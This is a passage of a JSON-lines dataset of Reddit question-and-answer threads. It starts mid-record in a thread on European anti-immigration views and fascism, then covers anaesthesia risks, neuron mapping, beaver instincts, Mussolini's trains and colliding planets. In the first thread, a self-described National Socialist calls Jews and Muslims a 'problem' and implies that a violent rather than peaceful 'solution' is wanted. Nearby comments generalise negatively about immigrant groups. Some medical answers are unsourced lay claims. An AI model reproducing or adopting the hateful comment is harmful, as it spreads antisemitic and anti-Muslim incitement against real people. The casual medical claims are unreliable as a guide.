it's not sourced in anyway.\n\nMany Europeans feel threatened buy outside influences on politics and administration. Looking at the UK for example, the growth of sharia law presents a major threat for many people who feel like their current western and democratic systems face potential threat. Regardless of whether it is or not, the way sharia law is being discussed in media, presents it as encroaching threat on long held traditional legal practices in western society. Another good example is the danish cartoons, in which many westerners felt that critics and extremists were trying to silence free speech of criticisms relating to Islam, while many protesters felt that the comics were islamophobic and hate-filled. \n\nAnother issue is culture erosion. Many people (young people at that) feel that globalization and immigration is presenting a threat to the customs and traditions. They feel as if their cultural identity is being weakened by a constant influx of new immigrants and new policies to support immigrants. It doesn't help that many immigrant groups isolate themselves into their own close knit communities. When you read about Rotherham for example, it becomes really easy to equate closed borders as a viable solution. It becomes easy to blame immigrants as a whole for the problem. At the same time, there is disdain for immigrants who fail to conform to the society live in, especially when the opposite is expected (ie, i have to respect your traditions and customs, but you dont respect ours).\n\nMilitant Islam and other polarizing issues that are expressed in media continue to feed into anti-immigration causes. When you have a constant source of negative news coming from nations with high immigration, you kind of just want to say no to everyone. You dont want the homophobes from africa and russia, you dont want the militant islamist from the middle east, you dont want uneducated workers and families, and after a while you just start feeling like saying no to everyone.\n\nFinally theres the economy, where immigrants are always an easy scapegoat, with arguments about having to pay for their healthcare, paying for their education, meanwhile they're presented as being unable to contribute to the economy for a variety of factors, young/old/language barriers/families etc.", "Because fascism has such an ugly history, people use that word as a weapon to demonize anything they disagree with, whether or not it actually resembles fascism.  It is not terribly different than calling someone a Nazi or a communist.\n\nWhat is going on in Sweden today looks nothing like Spain, Italy or Germany in the 1930s.\n\n  ", "As a self-identified National Socialist and Fascist; immigration. People pretend they want a peaceful solution to the Jew and Muslim problem but that's just a facade. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Teuvo_Hakkarainen"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "c8997t", "title": "why isn't general anesthesia used for even the most slightly painful tasks (for example, an ear piercing or a vasectomy)?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c8997t/eli5_why_isnt_general_anesthesia_used_for_even/", "answers": {"a_id": ["eskvi23", "eskvtmk", "eskw4mt", "esl3sgi", "eslb100", "eslgiul", "eslgjsl", "eslnjug", "eslnpma", "esloc2a", "esls26l", "eslsni1", "eslsz8p", "eslv68r", "eslxccg", "eslzdno", "esm2u7d", "esm5lbw", "esm6ced", "esm7imn", "esm7jd8", "esm94jt", "esmbo5w", "esme5j5", "esme6g0", "esmg1eg", "esmgqtq", "esmguvp", "esmhi0f", "esmmiki", "esmsr20", "esmvqnj", "esn5cnd", "esn5e40", "esn790j", "esn8vs9", "esnb7l9", "esnhhpc", "esnj3pf", "esnjb2n", "esnoe39", "esnrnz7", "esnsmuo", "esntytj"], "score": [392, 7781, 1033, 11, 45, 40, 16, 14, 16, 6, 21, 17, 7, 60, 9, 2, 5, 2, 2, 20, 5, 2, 2, 2, 6, 6, 2, 3, 3, 2, 180, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["It\u2019s expensive and risky, anesthesiologists get paid a boatload of money. It\u2019s a very specific measurement that they have to deliver. It\u2019s completely unnecessary for something like ear piercing", "Anesthesia has risks involved with it, side effects can include vomitting, confusion, and memory loss. As for risks, there is a higher possibility of stroke, heart attack, and pneumonia after being anesthetized.\n\nBecause of that, low-pain procedures, like ear piercings, can be performed without major drugs, as the pain will subside quickly anyway.\n\nBecause why take a risk just to save yourself less pain than you'd get wanging your elbow?", "General anesthesia can be quite dangerous, and is only used in cases where the patient needs to be totally unconscious, like for major surgeries. This prevents shock and also helps slow down certain reactions that could hinder such a major surgery. \n\nHowever, there are different types of anesthesia. Localized anesthesia is often used in cases where something will be painful, like vasectomies or having a tooth removed. This is anesthesia that is applied to one area of the body that numbs that area so that the person won't feel that pain.\n\nTheres also twilight anesthesia, which is more intense, and the person is put in a twilight state where they're not totally unconscious, but are usually drowsy to mildly unconscious. This is used for things like colonoscopies or abortions.\n\nThere's regional anesthesia, which takes a large portion of the body, say, from the waist down, and numbs it. The person is still able to talk and is aware and conscious, but a lot of their body is not. This is used for things like childbirth.", "Also, you still have to have needles injected into you for GA, which is way freakier than getting an ear piercing imho", "People have already covered the risks, but.. local or no anaesthesia for things like ear piercings let you get it done then go about your day. No waiting around to come around, recover from the grogginess etc. Just in, get your ear pierced, pay the man, go to the shop.", "They don't use anesthesia for a vasectomy?", "Every time you're put to sleep, you take the chance of never waking up. \n\nNational library of Medicine Reference. [HERE](_URL_0_)", "For example, I have psuedocholinesterase deficiency which means anesthesia relaxes my muscles to the point where I don\u2019t breath on my own. \n\nSomeone comes in for a tattoo, has this or something like it (no warning signs) and they die and ya get sued. I didn\u2019t know I had it until I got my wisdom teeth out and they breathed for me as I found out afterwards. Also Anesthesiologist=$350,000/year salary \n\nSome reddit article was relating being a ginger type to anesthesia effects. Interesting! Wonder if that has anything to do with it.", "General Anesthetic is very dangerous. Only used when necessary. \n\nFor example my step father, he had a heart attack. You'd assume surgery. Nope he was awake with no pain relief at all whilst they used a large gauge needle with a stent and other equipment on it through his right arm. Direct to his heart, removed the blockage and placed the stent. \n\nAlso he noted that he felt nothing but the heart attack pain. As soon as they removed the blockage and placed the stent.  He said all the pain went away.", "I'm no expert but general anaesthesia can be a risky thing. I've had two operations in my life one under local and one under general. The local was fine and I felt no pain at all, although it was incredibly surreal having a chat about films with the surgeon who was busy repairing my crushed finger.\n\nAre vasectomies only done under local? The other operation I had was a circumcision and that was under general. I'd hate to imagine any operation down there performed under local.", "My uncle was an anaesthetist and I remember him telling me that putting you to sleep is the easy part.  It's waking you up that's a lot more difficult.", "Because any time you put any medication into the body that alters the way the body functions, you are at risk of causing complications.  This is possible with things like local anesthetic, where you can have allergic reactions, permanent loss of feeling, nerve damage, vascular damage, etc. etc.  With general anesthesia, you can suppress breathing which in turn can affect oxygenation, which in turn can kill you, screw up your brain, deprive organs, on and on.\n\nOne of the things that the overwhelming majority of people do when calculating the risks of medical precedures is assuming that people are otherwise healthy.  When we're all 18 years old and fresh and young, usually procedures go off without a hitch.  It's like turning off the engine then turning it back on while you're motoring down the highway.\n\nBut when you're 80 years old, have COPD, diabetes, liver failure, CHF, and PVD, suddenly the idea of just turning off the ol' organs for a few minutes mean that car is very likely gonna go off the highway.  You turn it off, then when you go to turn it back on the starter isn't rotating, the ignition wires are all a wreck, the fuel intake is seizing and the spark plugs gaps are way too far apart.", "Some people actually never wake up like Michael Jackson who was using profonol to go to sleep for many, many nights in a row. That stuff stays in your body for days. His doctor spent time in jail for mis-using anesthesia this way.  It is very serious stuff.", "As others have mentioned anaesthesia has its risks and therefore it\u2019s a risk-benefit balance as with all things in medicine. \n\nFor the majority of small procedures like you\u2019ve mentioned and things that many people have experience with, such as dental extractions, these can safely be done with local anaesthesia. Sometimes general anaesthesia is more preferred however in certain circumstances such as if a child is having teeth removed and wouldn\u2019t sit still or understand what was happening.\n\nContrary to what many people have posted previously I believe that general anaesthesia is very safe in the vast majority of cases. The common issues include sickness, sore throat and drowsiness but are well tolerated by most people requiring a general anaesthetic. The rare risks that people are often extremely anxious about include awareness (being \u201cawake\u201d) which can be divided further into implicit (having a memory that SOMETHING happened but not sure what) and explicit (which is full recall as awake as you are now). There\u2019s also awareness with and without pain and intentional awareness such as certain neurosurgical procedures in which a patient is intentionally woken up mid operation to assess brain function. \n\nOr death of course, which again is very rare under anaesthesia and almost exclusively happens due to an ongoing emergency issue before the anaesthetic itself is administered (airway obstruction, stabbing or gunshot injuries, perforated bowel and severe infection) or in patients with multiple or severe medical issues such as heart or lung disease. \n\nWere I to choose the safest place for anything to happen to me it would be in the anaesthetic room, where there are highly trained and skilled people right with me, where I am the only patient they need to deal with who have all the equipment and monitors they need to treat me. While I don\u2019t have figures I\u2019m sure it\u2019s probably safer than your own home. \n\nAs a side note in the UK the vast majority of general anaesthetics are delivered by a consultant anaesthetist (I believe that would be an attending in the US? and they\u2019d be an anaesthesiologist?) with or without an anaesthetic trainee who would also be a doctor with at least two prior years of postgraduate training and probably more. Anaesthetic nurse practitioners do exist but I think much less common than in other countries. I\u2019ve met three in the last five years. \n\nSource: am a UK anaesthetic doctor", "Also, what about IUD's? I've heard those can be really effing painful, but there's no anaesthetic whatsoever.", "Because there's a chance you won't wake up, I think.\n\nWhen I had to have surgery as a child they had my mom sign up a consent form that stated there was a possibility I would never wake up from the anesthesia. Thankfully, I did.", "You're going to give a substance that if not properly administered could kill someone to people who may not have graduated high school?\n\nAnesthesia can cause nerve damage, vomiting, and if very wrongfully dosed: death.\n\nThis is why only licensed professionals with a medical degree are allowed to administer or supervise its administration.\n\nAs for vasectomy, they use localised or topical anesthesia. No need to anesthetize the entire body for the scrotum.", "General anesthesia comes with major risks (cardiopulmonary are the big ones) and requires the presence of anesthesiologists (or nurse anesthetist or anesthesia assistant). Also requires pre-op and post-op assessment  and continuous intra-op monitoring ). \n\nEven if you can accept the risks, the costs become prohibitive. An ear piercing suddenly costs thousands of dollars.", "This is why I am horrified that so many pediatric dentists offer GA for toddlers for pulling teeth in office... with a skeleton crew and no one person who is solely in charge of GA.", "Am an Anaesthetist (UK).\n\nAnaesthesia isn't dangerous. The risk of serious adverse events are very low. However, this is in part because people delivering anaesthesia in the UK will have spent years learning the craft (and so are quite expensive). The equipment for delivering general anaesthesia is also very precise and expensive. The equipment for monitoring patients to make sure they wake up at the end of surgery is also very expensive. There is also the importance of recovering in a well equipped and well staffed recovery area (expensive). \n\nAnaesthesia is amongst the most safety-concscious areas of medicine. This has come about because the drugs we use are lethal without the knowledge and skills to manage or avoid the harmful effects. \n\nIt's not true to say the regional anaesthesia is safer. Topical anaesthesia or local infiltration is, but blocking nerves and blocking the spinal cord carry reasonable risks of harm, and not safer than general anaesthesia. Sedation is actually remarkably dangerous!\n\nBasically, for very minor procedures like ear-piercing, topical anaesthesia or infiltration requires a low level of skill and is safe. Adding a GA escalates costs, and skill requirements and just isn't viable or necessary.", "My friend spent 12+ years becoming an anesthesiologist and told me \"we cant just get high on this shit man, one misstep and we all could die. This isnt like smoking weed or taking pain killers\".  He got really upset with us asking him to give us the \"ether bunny\" treatment all the time. He was not amused. We still ask him to slip some ether bunny in our drinks when we go over for UFC fights. We call him *The Sandman*.", "UK anaesthetic doctor here\n\nA lot of reasons:\n\n\nRisk - general anaesthesia has a risk associated with it that is minimised by the training we undergo, but is still there. In general elderly patients and those with complex pre-existing health conditions are at the most risk.  The drugs we give you usually slow or stop your breathing, they can reduce your airway reflexes to the point where your larynx can go into spasm, they can cause you to vomit and aspirate that vomit into your lungs, they usually drop your blood pressure and drop your heart rate. You might have a unknown severe allergy to one of the drugs, causing life threatening anaphylaxis. \n\nCost - In the UK a consultant anaesthetist has at least 7 years of training and we're not particularly cheap. We also have an anaesthetic nurse to help us and we'll hand over your care to a recovery nurse. They all need paying. If you have a GA you'll be having your procedure in a fully equipped operating theatre, taking up valuable theatre space.\n\n\nPatient satisfaction -  You feel pretty groggy for several hours. You might get severe nausea and vomiting. You'll need someone to take you home and stay with you for 24 hours. You can't drive for the same amount of time. You can't eat or drink for several hours before the procedure. Some people find the idea of having your brain switched off and your continued existence placed in the hands of a stranger... disconcerting (I know I did when I had a GA).\n\n\nThese are the main reasons why we don't offer general anaesthesia for ear piercings.", "For things like ear piercings, whoever is doing it would have to pay for it amd know how to use it. It increases cost for a low benefit, especially considering you still feel the needle for the anaesthesia go in and for most piercings you can grit your teeth.", "Not an anesthesiolgist but a surgical tech, there are a few ways to control pain for a surgery. Sometimes local anesthetic can be used with nothing else for smaller surgeries, if it's a medium sized surgery the anesthetist may consider using sedation but not general. For large surgeries like abdominal stuff (even c-sections sometimes in an emergency) they will use general anesthesia with a tube down your throat and completely knock you out. The reason this is so dangerous is because you are essentially getting your body loaded with a bunch of drugs that can be harmful to your body with their side effects, and can be overdosed if not done correctly. \n\nAll in all if you're getting your ear pierced just suck it up because that most likely won't kill you. Not to mention that you would have to get a large bore IV (18g) in your arm anyway which will hurt just as much as the ear piercing anyway.", "Why we don't use general anesthesia for an ear piercing? Well son, I didn't raise no bitch. Also if I wanted to unnecessarily risk your life, I wouldn't have gotten you vaccinated.", "When I was being taught anesthesia, a teacher summarized it very eloquently as \"controlled death\".   Not something to be played with when its not necessary.", "Amnesia is massively complicated, fairly expensive, and more risky than we'd like to admit. It requires an extremely highly-trained (and [very expensive](_URL_0_) professional to do it safely. It's not something that you want to be throwing around willy-nilly, and in particular nowhere that does ear piercings can afford to employ an anaesthesiologist.", "This seems to have been poorly explained. General Anesthesia is very high risk and is not a simple process. First you need IV access to push the drugs through. Once you are anesthetized you may very well be intubated or have other advanced airways in place because well....you need to breath.\n\nWhen you wake up nausea, vomiting, dizziness and lethargy are almost assured. Some people have catastrophic reactions to gen anes including malignant hyperthermia- look it up its fucked.\n\nNow to accomplish all this you need a team of physicians and nurses. Imagine you go on in for an ear piercing that is 40$ and the general anesthesia is 10,000$. That price goes up to hundreds of thousands of you have reactions.\n\nSometimes things hurt. My tattoos hurt, my peircings hurt, the last time I missed a 12 stair hand rail skating... that hurt. But it's part of the experience.\n\nNow if I fell on my skateboard and it was impaled in my chest and all my ribs were broken that would require surgery and general anesthesia.", "The more sedated you are the more depressed your respiration becomes thus with General anesthesia you stop breathing on your own and you need to be intubated on top of that you need to finance another specialized individual to safely do it and take you out of it and the side effects are much more serious. Nowadays most endoscopic procedures favor the use conscious sedation instead.", "a large fraction of surgery deaths are from anesthesia (somewhat frighteningly large) so why run the risk.", "I\u2019m an anesthesiologist. When I put you under general anesthesia, I place an IV and secure your airway with a breathing device or tube ....\n\n...so I can put you in a medically induced coma just above the edge of death. You stop breathing, or at least breathing well. Your unable to safely prevent choking to death on vomit, requiring you to fast before hand. Your arteries relax and your heart pumps less vigorously, lowering your blood pressure, often dangerously. You may develop arrhythmias. Many of the drugs I give change the pressure of the fluid surrounding your brain and spinal cord. You may stop urinating in a predictable manner . Blood flow to critical organs like your liver and kidneys changes substantially, usually by decreasing. \n\nYou feel shitty and groggy the rest of the day with most anesthetics. \n\nThis is without any of your current medical problems, medications, or herbal supplements affecting the anesthetic. \n\nThere\u2019s a reason I did 4 years of residency (and one of fellowship) after 4 years of medical school. Even for \u201croutine\u201d cases. \n\nNow, is that sufficient risk for an ear piercing?", "I had a vasectomy under local anesthesia only. I literally did not feel a single thing. I didn't even know that they had started until I smelled burning flesh as they cauterized the tubes.\n\nSo if the end result is the same (no pain felt during the procedure), it just becomes an issue of risks and side effects. And general anesthesia carries much more side effects and risks. Plus, it's more expensive. And it takes longer to recover from.", "General anesthesia can have some serious side effects. You need to manage the airway via breathing tubes since breathing stops, you have to monitor blood oxygen levels, monitor carbon dioxide exhalation, heart rate, blood pressure, brain activity.", "In addition to all the wonderful comment here, something like an ear peircing causes far less pain than the IV/other needles required for general anesthesia.", "Aside from the risk of death and other less serious medical injuries, there\u2019s the cost factor.  Anesthetic drugs are expensive, hiring an anesthesiologist to administer them is even more expensive.  After that you have to go through phase 1  &  2 recovery rooms where a registered nurse takes care of you for 1-2 hours.  That all adds up.  $50 piercing could cost $4-5k easily.\n\nSource: I\u2019m an anesthesiologist.", "ELI5: General anesthesia can cause death. There is no reason to risk death for an ear piercing.", "The more you mess with the central nervous system, the more can go wrong. \n\nA very skilled anesthesiologist can reduce these, but there's always the risk of consequences.\n\nPain, on the other hand, is a largely non-life-threatening response, physiologically speaking. Yes, it might hurt when you stub your toe or sit on your balls, but the pain itself is not going to put your body in danger unless the thing causing it is extreme as well.", "Cause you'd lose an entire fucking day for a procedure that didn't need it. You'll be out of it for hours after you wake up, you're not allowed to drive, it can make you feel sick or hungover, it's not worth it. Oh and there's a higher risk of complications or death.", "General anesthesia can cause death and other serious side-effects, including brain injury. It is not a process to be undertaken lightly, thus it's lack of applications in the circumstances you describe.\n\nIt's also a lengthy process that requires at minimum one trained medical specialist, specialized equipment, and consumables, with accompanying expenses.\n\nGenerally you'll spend less than $100 to get an ear pierced. Who is willing to pay a few thousand extra to make it pain free with a significant chance of terrible side-effects? I'm certain it can be done if you have the money, but why bother?", "Because an ear piercing would end up costing 30k just from the guy putting you out, bringing you back and watching your signs so that you don't die", "I absolutely hate general anesthesia. I have felt all sorts of nausea and discomfort in my life. Food poisoning, withdrawals, illnesses, etc.. Nothing even comes slightly close to the nausea/discomfort I felt when I was coming out of general anesthesia after 10 hours.", "I think the question you should be asking instead is \"why would it be?\"", "Two years ago I had surgery to put a rod through my femur. I have a huge period of memory loss from the anesthesia. In addition, I was yelling at my parents and fiancee to give me the pizza I had leftover from before the surgery (You're not supposed to eat solid foods for awhile after surgery or something along those lines). The short answer is that it has side effects. The slightly longer answer is there's not enough pizza for everyone to have a slice after getting their ears pierced.", "Ok, so I\u2019m not a man...but the thought of a vasectomy while being mostly coherent sounds potentially mentally traumatizing? It just sounds scary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2697561/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.careerexplorer.com/careers/anesthesiologist/salary/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1f5v9h", "title": "Have we mapped the brain on the level of individual neurons? Maybe for a fly or a spider? Shrimp?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f5v9h/have_we_mapped_the_brain_on_the_level_of/", "answers": {"a_id": ["ca753r6", "ca7dfil", "ca897kz", "ca9414w"], "score": [3, 4, 2, 2], "text": ["So this is a partially mapping (not with individual function) of the mouse brain and is the coolest thing I have seen in a long long time. \n\n_URL_0_", "We did it for a 1mm long worm Caenorhabditis elegans (though it actually has no brain, only a nervous system):\n\n > It is one of the simplest organisms with a nervous system. In the hermaphrodite, this comprises 302 neurons[15] whose pattern of connectivity, or \"connectome\", has been completely mapped and shown to be a small-world network.[16] Research has explored the neural mechanisms responsible for several of the more interesting behaviors shown by C. elegans, including chemotaxis, thermotaxis, mechanotransduction, and male mating behavior.\n\nSources: [Caenorhabditis elegans](_URL_0_), [Connectome](_URL_1_).", "Mapping at the level of the neuron is painstaking. The word \"painstaking\" is a bit of an understatement. And by a bit of an understatement, I mean it's probably the biggest understatement I have ever made. We haven't done this for humans, but we're trying.\n\nThere's a project called [EyeWire](_URL_0_) that is trying to do this with only the retina. It was launched in December and they're still tracing the retina. There are a lot of neurons in the brain.", "Sea slugs have been mapped to the point where they're able to represent many of the systems as electrical diagrams and make reasonable simulations. \n\nCheck out the work of John Sweedler and of Raynor Gilette"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/news/see-through-brains-clarify-connections-1.12768"], ["http://en.wikipedia.org/wiki/Caenorhabditis_elegans", "http://en.wikipedia.org/wiki/Connectome"], ["http://eyewire.org/"], []]}
{"q_id": "16xdlx", "title": "Is it safe to assume there is a direct correlation between the domestication of the horse and Indo-European languages", "selftext": "And are there any theories or arguments that suggest a common ancestor/themes to pre-abrahamic religions in the linguistic region? I ask this as I have always thought that the various European pantheons had deities that had similar roles but just different names. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16xdlx/is_it_safe_to_assume_there_is_a_direct/", "answers": {"a_id": ["c808xf8"], "score": [2], "text": ["Can you clarify your question? I'm really not sure how horses fit in with religion or what you are referring to as \"the linguistic region.\" Are you asking about the origins of the Abrahamic religions? Or about sociolinguistics in the area where these religions developed (i.e. similarities in lexical items or phonemes between unrelated languages in the same geographic bounds)?\n\nAnd again, I really don't understand how the domestication of the horse fits in here at all.\n\nEdit: On second thought, I think you might be asking about the similarities between the Greek and Roman Gods in particular. Is this the case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a1shf7", "title": "when removed from adults beavers as babies, those beavers will still try to create dams as adults. is there anything humans will do on instinct even if not prompted by other human contact?", "selftext": "I was prompted by this video to ask this question\n\n_URL_0_\n\nSo this rescued beaver just starts building dams because that's what beavers do, Do humans have similar things that we would do without being prompted?\n\nOutside of seeking food/water of course.\n\nI understand that it is possible that he saw his parents building dams before he was rescued, but I think that he would have built dams regardless because of instincts.\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1shf7/eli5_when_removed_from_adults_beavers_as_babies/", "answers": {"a_id": ["eashwbg", "easjqqt", "eassvjb", "easvtc7"], "score": [3, 9, 7, 2], "text": ["I Love this question. Is on the same note as... does a \"fresh\" human develop a language? If so. How does it sound? Do we know by instinct which fruits are good to eat? Do we develop religion? If yes, in how many generations... and so on...", "Because of how altricial we are (we're totally helpless as babies, and stay that way for years) it seems that humans don't have a lot of complex instinctual behaviors like that.  Our life strategy is to stick around our parents and learn how to be adults from them, instead.  ", "It's a tricky question because without human contact, babies simply die.  \n\nHowever, humans do have a whole set of instinctual behaviors, though they are mostly tailored to allowing us to learn from other people more efficiently.  People blind from birth do exhibit the same kinds of facial expressions.  Babies instinctively move their legs in a walking motion when held vertically over a surface, this helps them learn to walk by giving them the right set of motor patterns to build off of.  Similarly, babies instinctively babble, this is the foundation from which learned language is built.  And of course there's a huge innate instinct to watch other people and copy what they do.  Arguably watching and learning from other humans is what humans do, just like building dams is what beavers do.\n\nTangentially, dam building in beavers _is_ instinctual, and is specifically driven by the sound of running water.  Notice the video mentions the washing machine and the tub, that's where the running water is.  ", "Mothers giving birth and taking care of their young. Hard to put your finger on it exactly how these \u201c instincts \u201c are passed on. I think of them as ancestral memories that are just there"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=DggHeuhpFvg"], "answers_urls": [[], [], [], []]}
{"q_id": "4whdbf", "title": "'Mussolini made the trains run on time' - how bad were Italy's trains pre-fascism?", "selftext": "Were Italy's trains regarded as bad by Italians before Mussolini seized control? Were they seen as proverbially unreliable elsewhere in Europe? Who was travelling on these trains anyway?\n\nAnd I guess the other question - did Mussolini actually make the trains better, and if so, how?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4whdbf/mussolini_made_the_trains_run_on_time_how_bad/", "answers": {"a_id": ["d6746x8"], "score": [101], "text": ["As yes, *il Duce* and the trains. The one thing that helps to absolve the man from most of his idiocy in popular culture. Hey, he might have led one of the most inept invasions in modern warfare and basically destroyed his country but at least the trains ran on time. Right? \n\nNot quite.\n\n##**What were the trains like before the Fascists?**\n\nBacking up all the way to the *Risorgimento* allows us to view the disparity which was already in place between the Kingdom of Sardinia and the Kingdom of the Two Sicilies. While much of the study of the *Risorgimento* post-Fascism has led to the belief that the *Mezzogiorno* was not as poor as Sardinia propagandists made it out to be, the infrastructure was literal miles behind that of the north. Even with more being invested in the intervening years, the Northern states at times conspired to keep the southern states poor. Indeed, quite famously, there were areas in the south where it was quite common for peasants to live in either thatched houses or cave dwellings until well into the 1960s.\n\nWhy? Because the industrial revolution didn't occur in Italy the same way that it did in the rest of Europe (and some historians and economists will point to *the 1960s* as when Italy finally had it's true 'industrial revolution'). While throughout Europe industry was booming in major cities as citizens flocked to new factories, Italians tended to remain outside of the cities working the land until well after the first World War. Compare the growth of Rome to Hamburg:\n\nYear | Rome | Hamburg\n:--------|:--------:|---------:\n**1871** | 212,432 | 240,251\n**1921/1925** | 660,235 | 1,079,126\n\nThus Italy occupied a quasi feudal society all the way until World War II - especially in the South. One of the methods that the Fascists undertook in ensuring that they would have the backing of land owners was to make it impossible for the peasantry to move to new areas without the permission of the land owners. As the land owners themselves had little use for letting the workers leave their land, this effectively kept them tied in place, and poor. \n\nDoubly, this had the effect of ensuring that the southern states by and large remained poor. Compare the rail lines of Italy [in 1861](_URL_0_) with that [of 1870.](_URL_1_) You will notice the intricacies of the rail lines in the northern states, versus the south. At the time of unification Piedmont itself has 850 km of rail, while the Two Sicilies had 128 km. The development of rail travel in the South itself would stagnate, as the demand simply wasn't there.\n\nAnother factor going against Italy's rail lines were that from unification until 1905 the administration of all the lines were by private companies. With little of the lines operation at a profit, it did not behoove the companies to vastly invest in them. An 1875 attempt by Parliament to unify these lines, however, failed and ultimately brought that particular government down. An 1884 attempt by the government to subsidize the rail lines and improve not only their quality, but their amount similarly brought failure due to the corruption of the larger companies, while the smaller companies pocketed the subsidies to pay for the massive profit losses of their already existing lines. \n\nFinally, in 1905 the Italian government stepped in and bought out the remaining private companies to form the *Ferrovie dello Stato* - the State Railways. Massive amounts of money were poured in to not only modernize the rail cars (the great majority of which had been in operation for over 30 years by this point), but in also modernizing the entire rail system itself so as to encourage tourism and transportation. \n\nUnfortunately World War One occurred and devastated not just the Italian economy, but the rail system itself. \n\n##**Which brings us to the Fascists.**\n\nOne of the major feathers in his cap that Mussolini wanted was to expand Italy's infrastructure *through any means necessary.* One of the best ways that he could do that was by using the rail system to help \"construct Fascism.\" You would think that if Mussolini (and thus the Fascists) had been able to make this legendary ability come to pass that he would have mentioned it in his autobiography.\n\nHe did not. Which is important to note because he also admitted in his autobiography to getting rid of critical newspaper editors and politicians.\n\nIt is important to note that while the rail system had been in a state of proto-ruin thanks to the First World War and that the Fascists invested heavily in improving the lines **they did not literally make the trains run on time.** This myth constantly propagates itself and some highly respected historians have mistakingly parroted it in some of their writings. Some even tell of Mussolini himself threatening to shoot the train engineers if they didn't watch the clock.\n\nWrites Denis Mack Smith,\n >  \u201c...the Italian railway system had been run down during WW1, but had been much improved between the Wars. The claim was advanced that Italian trains were the envy of Europe. This was an exaggeration by Mussolini who did his best to make the train service into a symbol of fascist efficiency and managed to conceal much that had been done before 1922 (before he became Prime Minister). His propaganda was very successful, yet some travellers reported that the celebrated trains running universally on time, were to some extent a convenient myth.\"\n\nEven writers from the time period do not concur with the myth of the trains being on time. Investigative journalist George Seldes wrote in 1936,\n > \u201c[That] the trains always run on time, was parroted as an answer to all criticisms, including lack of editorial freedom or justice. The fascist regime made this claim to portray a country in which law and order prevailed. An investigation covering two weeks revealed several derailments leading to serious delays....it is true that the majority of big expresses run on time - those carrying eye-witness tourists - but on smaller lines, bad rail and roadbed conditions frequently caused delays. The Belgian Foreign Minister said we were always kept waiting at level crossings for more than a quarter of an hour, because the trains were never there at the times they should have been passing\u201d. \n\nSmith's research further showed that even with the amount of time, money, and blood put by the Fascists into the rail lines, it still wasn't enough. Writing,\n > \"Only two of the nine railroads through the Alps had been provided with double tracks and their capacity was estimated as equal to little more than a quarter of Italy's peacetime needs.\"\n\n##**So where does this myth come from?**\n\nOf course the Fascists never let a little thing like facts get in the way of great propaganda. On of the benefits of being a totalitarian state is that you have complete control over the press - all of it. This includes not just your internal papers, but foreign correspondents as well. Seldes himself had previously been expelled from the country due to reporting that Mussolini may have been personally connected to the murder of Giacomo Matteotti. \n\nHowever Mussolini came from the press himself and knew the power of propaganda. So thus the Fascists had every government official and rail worker extoll the virtues of the rail line to everybody that would listen, while their schedules were closely monitored and carefully manipulated (even if sometimes this failed, as referred to above). \n\nWrites Seldes,\n > \"It is true that the majority of big expresses, those carrying eye-witnessing tourists, are usually put through to time, but on the smaller lines rail and road-bed conditions frequently cause delays.\"\n\nBut with the Fascists controlling the press (and routinely censoring both internal and foreign writers), it was impossible to break through this idea that the regime had somehow been able to turn around the mess of the Italian rail system into one that ran on time, everywhere. This myth, however, has an amusing coda that plays into how inept Mussolini and the Fascists conducted their affairs in World War Two. With most of Italy's coal usually arriving by sea, after their entry in the war it would need to come overland. It failed to meet demand, as the tracks were not big enough, the trains strong enough, and the rail system developed enough.\n\nWrites Smith,\n > \"As the trains running on time had become one of the accepted myths of Fascism, and as Mussolini had never charged anyone with the task of planning communications in the event of war, the matter had gone by default.'\n\nAt the end, even the Fascists fell for their own propaganda. \n\n**Sources:**\n\n* Denis Mack Smith, *Mussolini\u2019s Roman Empire,* and *Modern Italy: A Political History.*\n* John Foot, *Modern Italy.*\n* George Seldes, *Sawdust Caesar - the untold history of Mussolini  &  Fascism*\n* RJB Bosworth, *Mussolini's Italy - Life Under the Dictatorship.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/7/79/Italia_ferrovie_1861.03.17.png", "https://upload.wikimedia.org/wikipedia/commons/d/df/Italia_ferrovie_1870_09_20.png"]]}
{"q_id": "2gvpvu", "title": "Can two planets end up 'attached'?", "selftext": "So imagine two planets are in a near miss collision scenario. Their gravitational forces attract each other until they are spinning around each other, getting closer and closer with each spin. Eventually, they will collide... \n\nBut depending on the speed and angle and timing, wouldn't it be possible for them to collide without causing 'significant' damage to either planet? Could they just roll along each others surface for a while, eventually stop, and remain as 2 separate planets but 'attached' by their gravitational attraction to one another?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gvpvu/can_two_planets_end_up_attached/", "answers": {"a_id": ["ckn0ssp", "ckn1ej8"], "score": [11, 19], "text": ["No, by definition. A planet must be in hydrostatic equilibrium, so it acquires a roughly spherical shape.\n\n_URL_1_\n\nSo if two planets merge in a \"smooth\" contact like you described, without a violent collision, then as their rotation slows down they would merge into a single, approximately spherical body (this is assuming that there is some force that slows them down, e.g. tidal locking to a 3rd body).\n\nHowever it can happen with asteroids, as they don't have enough mass to be deformed by their own gravity: _URL_2_\n\nWhen ESA received the first images of [Rosetta's comet](_URL_0_) in the beginning it was called a contact binary. Not sure if they keep that classification now that they have more detailed pictures.\n", "Once the planets got within their Roche limits the tidal forces would tear themselves apart.  Also even if you could some how get another planet to \"sit\" on top of another one, there is no way the planets could support that weight, they would pull towards each other. They would deform and become egg shaped and eventuall rounded.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": 